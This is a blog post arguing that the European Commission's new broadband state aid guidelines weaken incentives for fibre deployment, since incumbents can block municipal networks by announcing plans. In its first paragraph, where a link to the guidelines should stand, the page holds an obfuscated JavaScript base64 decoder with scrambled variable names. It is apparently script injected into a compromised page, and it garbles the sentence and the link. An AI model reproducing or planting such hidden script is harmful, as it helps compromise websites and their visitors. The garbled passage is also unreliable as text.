The Incentive Paradox aka European NGA State Aid Guidelines

At the end of last week, the European Commission finally released its new rulings on state aid for broadband. The full document is called Community Guidelines for the application of State aid rules in relation to rapid deployment of broadband networks and you can read the whole 24 pages of it function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand_en.pdf">here.

To say that this has been long awaited it an understatement. Whether it's a significant improvement on the previous (unclear) rulings is a matter of opinion and really depends on where you're standing.

In a nutshell, what's in there:

  • a definition of white (unserved), grey (private monopoly served) and black (multiple private infrastructures) areas for NGA networks
  • an agreement that state aid is OK for white areas, possibly acceptable in grey areas and not acceptable in black areas.
  • an acknowledgement that the Amsterdam scenario (public investment in a private venture under market conditions) is acceptable

What's not in there strangely enough is a clear definition of NGA. Here's what the document has to say about this:

NGA networks are wired access networks which consist wholly or in part of optical elements and which are capable of delivering broadband access services with enhanced characteristics (such as higher throughput) as compared to those provided over existing copper networks.

Still, overall, this is more transparent than the previously existing guidelines that resulted in the long legal shenanigans faced by Amsterdam. There is, however, a key ambiguity remaining here, and that is the notion of how the EC will decide whether a private deployment in planned.

You, see, the EC doesn't judge on what is deployed or in deployment, it judges on what is planned for deployment by private players in the next three years. Of course, this seems fair until you realise that, as was pointed out by Herman Wagter some months ago, there's nothing easier for a private player than making an announcement.

The EC tries to do well and says that a simple announcement is not enough, deployment maps and business plans will have to be produced. Still, if you're in the consultancy business and deployment maps and business plans is your forte, good news for you: here's me expecting that a lot of incumbents are going to be producing a lot of deployment plans in the coming months just to block local govenrment money from going into networks.

The issue, ultimately is an issue of incentive for deployment from private players, and there I wonder if the commission hasn't missed the mark and contradicted itself. The commission's credo on NGA policy has always been that infrastructure competition was the way to go, not because it necessarily believes that you need infrastructure competition (service competition on a regulated infrastructure has, after all, been good in Europe so far) but because it believes that infrastructure competition will be the incentive for incumbents to deploy. I've had my doubts about that for a good while - mostly because I think wishing for competition is unlikely to make it happen - but I can understand the rationale.

What I fail to understand in the light of these new rulings is how they contribute to the incentive the commission seems to be after. Let's not delude ourselves, the only state aid that can happen post-ruling is in so-called white areas. State Aid in grey areas will inevitably mean legal proceedings, going head to head with the commission, huge costs and delays. No local government in their right mind will go for that.

So really, all an incumbent has to do to stop municipal fiber from happening is to announce a plan, hire consultants to do a mapping and a business plan et voila, you're good for three more years of peace and quiet. In other words, in countries where no one but the incumbent has the investment capacity (Spain, I'm looking at you...) you can forget about having any significant fiber deployment in the foreseeable future.

I think the commission missed a key piece of the puzzle here, and that is that local government involvement could be an incentive for incumbents to deploy when the incumbent's competition is unwilling or unable to do so.

A form of infrastructure competition, in other words...